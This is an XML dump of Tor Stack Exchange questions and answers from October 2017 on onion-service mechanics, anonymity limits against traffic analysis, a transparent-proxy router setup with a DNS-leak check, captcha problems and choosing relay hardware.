  <row Id="15855" PostTypeId="2" ParentId="15847" CreationDate="2017-10-03T23:02:07.403" Score="1" Body="&lt;p&gt;Introduction Points do not need to be a Hidden Service Directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory, you &lt;em&gt;could&lt;/em&gt; manually pick introduction points but there is no configuration option to do this, since it's not helpful for anonymity, security or availability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may wish to read up on the specifics of the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec-v2.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rendezvous Protocol&lt;/a&gt; to better understand what goes into creating a circuit to an onion service.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-10-03T23:02:07.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15856" PostTypeId="2" ParentId="15847" CreationDate="2017-10-04T00:23:21.190" Score="0" Body="&lt;p&gt;There's no way to do this, because it will damage the consensus of the network and it's algo's, by the very same reason you can not filter out middle nodes in any way in instance-wide config. Even more - let's say that somehow you've managed to do so, then your service - in a matter of time and number of requests made for it - will be relatively easy fingerprinted, traced and observed(=censored/blocked).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The HSDir role - as the other flags so far - makes absolutely no connection &lt;em&gt;with the way HS and it's client are communicating&lt;/em&gt;, because it is &lt;em&gt;just&lt;/em&gt; a replica of HS directory, an address book of some kind. So even being able to select the points with HSDir flag will make no difference at all as selecting nodes without the flag specified: the path's are selected by consensus, yes, but &lt;em&gt;by another and completely different algorythms&lt;/em&gt;, i.e. it's not influentional at all.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-10-04T00:23:21.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15857" PostTypeId="2" ParentId="15369" CreationDate="2017-10-04T03:24:39.987" Score="1" Body="&lt;p&gt;Somehow it matters, but not fatal. Here are your two cases for a start:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You have connected to Tor after using an authorized page. If your actions you do perform through Tor can be linked with your profile - it's a guess-hint, that it can be you, &lt;strong&gt;but not a proof&lt;/strong&gt;: tor's traffic is 3-times encrypted, at least. If you're using something like Facebook that does have a Tor entrance and making all the precautions like acting through Tor from a separate VM with another login not explicitly linked to the login you've used without Tor - there's no risk at all, except a very vague guess.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It was a concern 10+ years ago, but not now: the global village of Internet is having party 24-7-365 around the globe, so there will be not a significant drop of network activities so they can be inspected deeper. However, a VM and not-linked profiles inside Tor and outside are &quot;the must&quot; and still in power.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;However, if you are 100% accurate in using separate temporary VM's and profiles for in-tor activities and want to be completely free of any corellation-related analysis techniques &lt;em&gt;by time&lt;/em&gt; - just buy an OrangePI or any Allwinner H3 based SBC and run your Tor node 24-7-365, so as you'll switch to Tor &lt;strong&gt;inside your LAN&lt;/strong&gt; no one will be able to even guess.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-10-04T03:24:39.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15858" PostTypeId="2" ParentId="242" CreationDate="2017-10-04T09:08:31.990" Score="0" Body="&lt;p&gt;On the latest Raspbian (stretch), follow the instructions here &lt;a href=&quot;https://www.torproject.org/docs/debian.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/debian.html.en&lt;/a&gt;, ensuring you select &amp;quot;stretch&amp;quot; from the drop down menu, they say how to set up your apt-get repos to use the tor repo, ensuring that the get the latest and greatest version (Raspbian repos will work fine, but they might not be the latest version).&lt;/p&gt;&#xA;&lt;p&gt;There is a message at the top of the page warning about Rasbian incompatability, this can be ignored and as it is talking about the Raspberry Pi 1 with its older ARM V6 processor, not the newer Raspberry Pi 2/3 with its newer, ARM V7/8 processor.&lt;/p&gt;&#xA;" OwnerUserId="19176" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2017-10-04T09:08:31.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15860" PostTypeId="1" CreationDate="2017-10-04T12:23:49.497" Score="0" ViewCount="510" Body="&lt;p&gt;With so much hype about the 'darknet' and 'tor', i still don't see how it can be completely anonymous if it is implemented in the application layer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a webserver, using Nginx or something similar, logs access to that server, then irrespective of how many times a request is bounced around it should still be traceable providing you have the access log of the destination server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And my understanding is that retaining access logs is a legal requirement of at least some industries and countries currently, and could easily be enforced everywhere. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So unless the tor network used servers that refused to log access, then the tor network is not anonymous?&lt;/p&gt;&#xA;" OwnerUserId="19373" LastActivityDate="2017-10-06T01:30:13.177" Title="Can TOR really be anonymous as an application layer protocol?" Tags="|anonymity|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15861" PostTypeId="2" ParentId="15860" CreationDate="2017-10-04T13:43:43.810" Score="1" Body="&lt;p&gt;there's &lt;strong&gt;NO&lt;/strong&gt; absolute. Anywhere. In anonymity included. There's no &quot;unhackable systems&quot;/algo's/networks - it's &lt;strong&gt;just&lt;/strong&gt; a question of complexity&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-10-04T13:43:43.810" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15862" PostTypeId="2" ParentId="15827" CreationDate="2017-10-04T16:24:02.007" Score="0" Body="&lt;p&gt;Don't know if this will help but you can do it using tor path simulator. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/torps/torps&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/torps/torps&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19374" LastActivityDate="2017-10-04T16:24:02.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15863" PostTypeId="1" CreationDate="2017-10-04T18:14:45.683" Score="0" ViewCount="419" Body="&lt;p&gt;I have learned about Tor quite recently. Where I live, new laws are made&#xA;for digital surveillance. It looks like the law will gain new tools with&#xA;the motivation to prevent terrorism. There is a lot of concern about this.&#xA;The law will gain abilities such as wiretapping certain areas where they&#xA;think terrorism may link towards. This concerns lots of people, because this wiretapping counts for a certain area in range around a single possible threat, instead of focusing directly on a target, large amounts of personal data around that target may be intercepted from citizens and kept for years. My question is or Tor can protect one's personal traffic from these attacks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="19375" LastActivityDate="2018-04-03T07:58:33.643" Title="Does the Tor browser counter wiretapping?" Tags="|traffic-analysis|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15864" PostTypeId="2" ParentId="15860" CreationDate="2017-10-04T20:47:32.357" Score="0" Body="&lt;p&gt;When a request is &quot;bounced around&quot;, Tor doesn't retain the originating identification. So the exit node (the one that contacts a public web server) has no idea where the request came from. And all the web server knows is that a request came from a specific Tor exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if you're doing this with Facebook or your bank or something and you actually &lt;em&gt;log in&lt;/em&gt; to the web site over Tor, then sure, they're going to know it's you.&lt;/p&gt;&#xA;" OwnerUserId="1765" LastActivityDate="2017-10-04T20:47:32.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15866" PostTypeId="2" ParentId="15863" CreationDate="2017-10-05T01:15:47.123" Score="1" Body="&lt;p&gt;Tor works by encrypting your traffic with three layers of encryption, and relaying it through a set of three nodes, an entry node, a relay node, and an exit node. Each one of these nodes peels off a layer of encryption, making sure that the only unencrypted traffic is between the exit node and the internet. The use of three separate nodes makes the tracing of where it comes from difficult. This encryption prevents tampering and stops ISPs for example from snooping on your traffic.&#xA;Your law enforcement will only be able to know that you are using Tor, but won’t be able to see which pages you visit, or their content.&#xA;(You can add an extra layer of security by only visiting HTTPS websites).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/A6Pcl.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/A6Pcl.jpg&quot; alt=&quot;how tor works&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before making a decision on whether to use Tor or not, please head to this website to learn more about it: &lt;a href=&quot;https://www.torproject.org/about/overview.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/about/overview.html.en&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19377" LastActivityDate="2017-10-05T01:15:47.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15867" PostTypeId="2" ParentId="15860" CreationDate="2017-10-05T03:25:45.833" Score="2" Body="&lt;p&gt;What you're talking about is a &quot;Global Passive Adversary&quot; (&lt;em&gt;GPA&lt;/em&gt;): An adversary who can see everything all of the time (in your case, read all of the logs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor cannot protect against a GPA, there aren't many (if &lt;em&gt;any?&lt;/em&gt;) low-latency anonymity networks that could defeat a GPA. Although there are high latency anonymity networks that absolutely can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, you have to cosnider what information the logs contain, second where they are being logged and third who has access to the logs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Onion routing derives from a form of high latency network called a &lt;a href=&quot;https://en.wikipedia.org/wiki/Mix_network&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mix Network&lt;/a&gt; (for a well presented rundown of the history and evolution of mix networks, see &lt;a href=&quot;https://www.youtube.com/watch?v=xGIE7KTJiBY&quot; rel=&quot;nofollow noreferrer&quot;&gt;this lecture by Tor developer Isis Lovecruft on anonymity networks&lt;/a&gt;). The idea is based on indistinguishability, each node has many messages coming in. It mixes them, and sends them off to other relays. An outside observer cannot determine how the mixing went, and thus which input message corresponds to which output message. Infact, in the case of high latency mix networks if &lt;em&gt;only one&lt;/em&gt; relay in the chain &lt;em&gt;isn't malicious&lt;/em&gt; then it will still be impossible to link sender to destination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor is different, because it is a low latency network which means it's &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#AttacksOnOnionRouting&quot; rel=&quot;nofollow noreferrer&quot;&gt;vulnerable to traffic analysis&lt;/a&gt; in ways that high latency networks aren't. If an adversary has sufficiently complete traffic logs for both your entry and exit from the network then they could determine who is talking to who.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if the adversary doesn't have access to sufficiently detailed logs or network traffic from both entry and exit, they will not be able to connect the input to output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;So&lt;/em&gt;, under many circumstances and many adversary models Tor can indeed provide anonymity as an application layer protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note also that while the Tor network is formed as an overlay network in the application layer, what it carries is transport layer traffic.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="1765" LastEditDate="2017-10-06T01:30:13.177" LastActivityDate="2017-10-06T01:30:13.177" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15868" PostTypeId="2" ParentId="15863" CreationDate="2017-10-05T03:46:20.403" Score="1" Body="&lt;p&gt;&quot;&lt;em&gt;Wire tapping&lt;/em&gt;&quot; is targeted surveillance. They intercept your internet communications, normally with assistance from your ISP (through systems like &lt;a href=&quot;https://en.wikipedia.org/wiki/Communications_Assistance_for_Law_Enforcement_Act#Technical_implementation&quot; rel=&quot;nofollow noreferrer&quot;&gt;CALEA&lt;/a&gt;) and log them. It is necessarily one-sided.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, they would be able to see you were using Tor, what times you were using Tor and how much traffic you were sending over the Tor network. They would not know what you were sending over the Tor network or where it was being sent to. The wire tapper would be able to see &lt;em&gt;less&lt;/em&gt; than the Guard node already sees. Since the Guard node alone cannot link a users input to their output, similarly the wire tapper would be unable to, infact they'd be less able to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There have been cases (e.g. &lt;a href=&quot;https://github.com/epidemics-scepticism/writing/blob/master/misconception.md#stop-snitchin&quot; rel=&quot;nofollow noreferrer&quot;&gt;Jeremy Hammond&lt;/a&gt;) where they already have an &lt;em&gt;expected&lt;/em&gt; output from the network in relation to the users input. In those cases knowing when you use Tor can be sufficient to correlate it with when the output they expect is linked to you happens. This only worked when they had already identified a suspect and then performed targeted surveillance on them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you &lt;em&gt;seem&lt;/em&gt; to be refering to is mass surveillance, where ISPs keep logs. However mostly these logs are only information like what IP address a user connected to and when and for how long. For example, the recent &lt;a href=&quot;https://en.wikipedia.org/wiki/Investigatory_Powers_Act_2016&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ivestigatory Powers Act in the UK&lt;/a&gt; madates the retention of &quot;Internet Connection Records&quot;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;required communication service providers (CSPs) to retain UK internet users' &quot;Internet connection records&quot; – which websites were visited but not the particular pages and not the full browsing history – for one year;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This kind of information might let them know that you used Tor but it wouldn't be sufficient to break Tor. It is only problematic if they can see both the entry and exit to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no magic bullet to unbreakable anonymity, every user must consider who their adversary is and what their capabilities are but a traditional wire tap or ISP ICR isn't sufficient on it's own.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2017-10-05T04:16:25.330" LastActivityDate="2017-10-05T04:16:25.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15869" PostTypeId="2" ParentId="15850" CreationDate="2017-10-05T03:55:04.990" Score="1" Body="&lt;p&gt;A full Tor circuit has 3 relays, a Guard, a Middle and an Exit. This keeps any single relay from knowing the full path which keeps the users identity separate from their activity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Onions connections &lt;em&gt;normally&lt;/em&gt; use 6 relays. The client create a full circuit (3), the server creates a full circuit (3) and then the server connections from it's 3rd to the clients 3rd. This way both client and server are protected by a full circuit keeping both of their identities safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Neither client nor server has any real control over the connection length at either side or any way to tell what the length is. For example: in the case of a Single Onion Service, the server would connect directly to the clients 3rd relay. This keeps the users identity protected from the server, but the servers identity unprotected from users.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-10-05T03:55:04.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15870" PostTypeId="1" CreationDate="2017-10-05T15:02:15.880" Score="0" ViewCount="190" Body="&lt;p&gt;Gentlemen&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought something about hidden service an onion server. it's just an assumtion, i've not try !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to locate  a server ( a country, not a fixed point or public ip, but just the localisation of the continant  who herbege the server, an aproximity ),  by the timestamp of response of server, at the time this server to respond to a request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By connecting to différent exit relay in the world and performing multiples request to the server, and evaluate the différence times in millisecond of the response of server, and make an average of all time pick up by relay, and this average can allow to localise the hosting country of the server ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it's just an idea ! i think of that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And how works the system of hidden service for the resolution of domain name into tor ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;please sorry for my crap English, i don't speak English very well. &lt;/p&gt;&#xA;" OwnerUserId="19381" LastActivityDate="2017-10-28T22:07:53.250" Title="Hidden Service localisation" Tags="|onion-services|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15872" PostTypeId="1" CreationDate="2017-10-05T19:44:42.227" Score="2" ViewCount="1412" Body="&lt;p&gt;I have configured a router to route all traffic from an internal interface through the TOR network. Therefore, every client that uses this router as its Gateway will access the internet through TOR, regardless which application is running.&#xA;This is my setup on the router:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- eth2 is the internal device (192.168.1.1)&#xA;- TOR listens on eth2 for connections from LAN clients&#xA;- eth0 is the device that connects to the internet&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My torrc setup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;TransPort 192.168.1.1:9040&#xA;DNSPort 192.168.1.1:9053&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My iptables on the Gateway (192.168.1.3 is the client that may connect):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*nat&#xA;:PREROUTING ACCEPT [0:0]&#xA;:INPUT ACCEPT [0:0]&#xA;:OUTPUT ACCEPT [0:0]&#xA;:POSTROUTING ACCEPT [0:0]&#xA;-A PREROUTING -i eth2 -p udp -m udp --dport 53 -j REDIRECT --to-ports 9053&#xA;-A PREROUTING -i eth2 -p tcp -m tcp --tcp-flags FIN,SYN,RST,ACK SYN -j REDIRECT --to-ports 9040&#xA;COMMIT&#xA;*filter&#xA;:INPUT DROP [0:0]&#xA;:FORWARD DROP [0:0]&#xA;:OUTPUT DROP [0:0]&#xA;-A INPUT -s 192.168.1.3/32 -i eth2 -p udp -m udp --dport 9053 -j ACCEPT&#xA;-A INPUT -s 192.168.1.3/32 -i eth2 -p tcp -j ACCEPT&#xA;-A INPUT -i lo -j ACCEPT&#xA;-A INPUT -i eth0 -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT&#xA;-A OUTPUT -d 192.168.1.3/32 -o eth2 -j ACCEPT&#xA;-A OUTPUT -o eth0 -m conntrack --ctstate NEW,RELATED,ESTABLISHED -j ACCEPT&#xA;-A OUTPUT -o lo -j ACCEPT&#xA;COMMIT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To test that no DNS requests are leaked I used the method described &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/Preventing_Tor_DNS_Leaks&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. However, it does not give an example of what the expected results should be.&#xA;So I issued the following commands and got the following output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ tcpdump -pni eth2 'port domain'&#xA;18:59:33.158511 IP 192.168.1.3.53413 &amp;gt; 8.8.8.8.53: 20625+ AAAA? check.torproject.org. (38)&#xA;18:59:33.212772 IP 192.168.1.3.53494 &amp;gt; 8.8.8.8.53: 15545+ A? check.torproject.org. (38)&#xA;18:59:33.448883 IP 8.8.8.8.53 &amp;gt; 192.168.1.3.53413: 20625 NXDomain 0/0/0 (38)&#xA;18:59:33.451545 IP 192.168.1.3.39311 &amp;gt; 8.8.8.8.53: 58625+ AAAA? check.torproject.org. (38)&#xA;18:59:33.539581 IP 8.8.8.8.53 &amp;gt; 192.168.1.3.53494: 15545 1/0/0 A 138.201.14.212 (54)&#xA;18:59:33.808832 IP 8.8.8.8.53 &amp;gt; 192.168.1.3.39311: 58625 NXDomain 0/0/0 (38)&#xA;18:59:33.810768 IP 192.168.1.3.60437 &amp;gt; 8.8.8.8.53: 61942+ A? check.torproject.org. (38)&#xA;18:59:34.072359 IP 8.8.8.8.53 &amp;gt; 192.168.1.3.60437: 61942 1/0/0 A 138.201.14.212 (54)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I ran also ran the commands on the outgoing device eth0&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tcpdump -pni eth0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which yielded no output at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Does the output of &lt;code&gt;tcpdump&lt;/code&gt; proof that no DNS requests from the client were leaked?&lt;/li&gt;&#xA;&lt;li&gt;Are the &lt;code&gt;iptables&lt;/code&gt; rules reasonable for my purpose?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="19386" LastEditorUserId="19386" LastEditDate="2017-10-05T20:12:39.133" LastActivityDate="2022-01-19T14:14:24.060" Title="Checking for DNS leak on TOR router" Tags="|configuration|anonymity|deanonymization|dns|ip-address-leak|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15874" PostTypeId="2" ParentId="15870" CreationDate="2017-10-05T21:26:35.270" Score="1" Body="&lt;p&gt;No, this isn't possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, no exit nodes are used in connections to onion services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second of all, the onion service makes it's own circuit through the tor network to respond to your requests, which means it's taking some path through the tor network that you do not control or have visibility of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would mean that trying to measure the time for responses from requests made to the onion service would not relate to the location of the onion service, but to the path it chose to take through the network, which will be different for each circuit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for how it establishes the connection, see this question and answer: &lt;a href=&quot;https://tor.stackexchange.com/a/3410/12737&quot;&gt;How does it work - “Hidden services”?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-10-05T21:26:35.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15875" PostTypeId="2" ParentId="15872" CreationDate="2017-10-05T21:44:21.993" Score="1" Body="&lt;p&gt;Android devices do ignore DHCP DNS server, remember. So - it looks like this? I've met this problem too. The only really working workaround is to &lt;strong&gt;forcibly route&lt;/strong&gt; all dns requests to &lt;code&gt;8.8.8.8&lt;/code&gt; and &lt;code&gt;8.8.4.4&lt;/code&gt; to the port 9053 in yor case - and block the IP addresses of 8.8.8.8 and 8.8.4.4 to be routed through Tor, I've found no other way&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-10-05T21:44:21.993" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15877" PostTypeId="2" ParentId="4701" CreationDate="2017-10-06T01:04:57.903" Score="0" Body="&lt;p&gt;no, i have tried to intall the TOR TAILS software onto an EHD, but it wont let you install it. Therefore if it cant be installed, then it cant be booted from.&#xA;Btw i used an ADATA 500gb drive.&lt;/p&gt;&#xA;" OwnerUserId="19391" LastActivityDate="2017-10-06T01:04:57.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15879" PostTypeId="1" CreationDate="2017-10-06T12:50:11.470" Score="11" ViewCount="104210" Body="&lt;p&gt;I'm having problems with captcha in TOR. A website I am trying to register on has an 'I am not a robot button', which when I click it comes up with a message saying: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Your computer or network may be sending automated queries. To protect our users, we can't process your request right now. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How can I get around this?&lt;/p&gt;&#xA;" OwnerUserId="19398" LastEditorUserId="22539" LastEditDate="2019-02-10T19:45:14.020" LastActivityDate="2019-09-13T04:50:07.757" Title="How to solve Captcha problem in TOR?" Tags="|captcha|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15880" PostTypeId="1" CreationDate="2017-10-06T15:16:02.853" Score="1" ViewCount="3663" Body="&lt;p&gt;I am using Ubuntu 16.04. I have tried to download Tor Browser from the Tor website and using the Tor Browser package from the Ubuntu software application. Each time I get a message titled Signature Verification Failed. The message is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;You might be under attack, or there might just be a networking problem. Click Start to try the download again.  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried many times, always getting the same result. I have wiped the hard drive and reloaded Ubuntu three times, and each time I got the same error. I have successfully installed Tor on my laptop which uses the same router and internet connection.&lt;/p&gt;&#xA;" OwnerUserId="19400" LastEditorUserId="20806" LastEditDate="2018-01-30T16:51:22.727" LastActivityDate="2021-02-08T00:01:35.170" Title="Tor Browser won't load in Ubuntu 16.04" Tags="|tor-browser-bundle|ubuntu|verification|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15881" PostTypeId="2" ParentId="15879" CreationDate="2017-10-06T18:28:05.647" Score="3" Body="&lt;p&gt;Well, a &quot;captcha case&quot; is quite common one using Tor. You need to change the exit node to try again - the problem is that there're not-so-much-as-needed exits and you can hit a hevily-used exit node, or an abused one. So - just change it and try again! it's a trial-and-error approach, nothing else. A control protocol command is &quot;SIGNAL NEWNYM&quot;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-10-06T18:28:05.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15883" PostTypeId="1" AcceptedAnswerId="15886" CreationDate="2017-10-07T15:27:32.207" Score="0" ViewCount="263" Body="&lt;p&gt;I have a server with Ubuntu Linux 16.04.&#xA;I installed tor like written in &lt;a href=&quot;https://www.torproject.org/docs/debian.html.en#ubuntu&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/debian.html.en#ubuntu&lt;/a&gt; (chose Xenial repos).&#xA;I wrote what I believe to be the correct rows in the Tor config file, but I executed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;sudo service tor restart&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(also tried start argument).&lt;br&gt;&#xA;As well as &lt;pre&gt;/etc/init.d/tor start&lt;/pre&gt;&#xA;But in the end I received this error:&lt;pre&gt;/usr/bin/pkttyagent: error while loading shared libraries: libsystemd-login.so.0: cannot open shared object file: No such file or directory&lt;/pre&gt;&#xA;I have no libsystemd-login.so.0 file in system. Packages.ubuntu.com says there is no package that provides that file in Xenial, only in Trusty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I run a tor relay on my Xenial-based system?&lt;/p&gt;&#xA;" OwnerUserId="19411" LastEditorUserId="17494" LastEditDate="2017-10-09T18:51:57.927" LastActivityDate="2017-10-09T18:51:57.927" Title="Cannot run tor relay on Ubuntu Linux" Tags="|configuration|relays|linux|tor-install|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15884" PostTypeId="1" CreationDate="2017-10-07T16:10:06.110" Score="0" ViewCount="663" Body="&lt;p&gt;I am thinking of buying a computer to use only for running Tor relays from England in the United Kingdom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am writing to ask for advice on which details of the machine make a difference to the effectiveness of the machine when used only for this purpose.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be installing Ubuntu or another Linux distro on the machine, but am only asking about hardware in this question, assuming that the choice of distro is not related to the choice of hardware.  If that assumption is incorrect, please let me know.      &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The internet connection is via a BT Home Hub, and the relevant speeds BT have told me about are 55 Mbps to download and 10 Mbps to upload.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am considering buying a Lenovo Thinkcentre M93.  They are office desktop machines which would cost in the region of £100 to £200 secondhand, and have an Intel Core i3, i5, or i7 processor.  I would use the passmark.com website to compare the power of the CPUs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would guess that the power of the processor will matter, but have no idea how much difference it would make to have a passmark rating of 7000 rather than 4000.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the number of physical or logical cores important, or the passmark score per physical or logical core, rather than the total, if a Tor relay only uses one physical or logical core, as I have seen mentioned somewhere?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would the the amount of RAM will matter up to a point?  I do not know if the relevant point is 4GB, 8GB, or 16GB.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would the type of ethernet card or connection matter?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would the amount and type of storage matter, HDD or SSD?  I would guess that anything over 80GB would be fine, and more would not be better over that level, but again am not sure.  I would presume that SSD is better than HDD, but again am not sure.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The machine would be connected by cable to the BT Home Hub.  Does the type of cable matter, category 5e, 6, or 6a?  (These are the category labels in the UK).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I thinking along reasonable lines, or should I be looking at gaming machines rather than business ones, or a different family of CPUs than Intel Core? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With thanks in advance for comments and help based on knowledge and experience.  &lt;/p&gt;&#xA;" OwnerUserId="19303" LastActivityDate="2021-12-17T18:03:55.343" Title="Choosing computer hardware to run Tor relays - (CPU RAM cable HDD SSD etc)" Tags="|configuration|relays|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
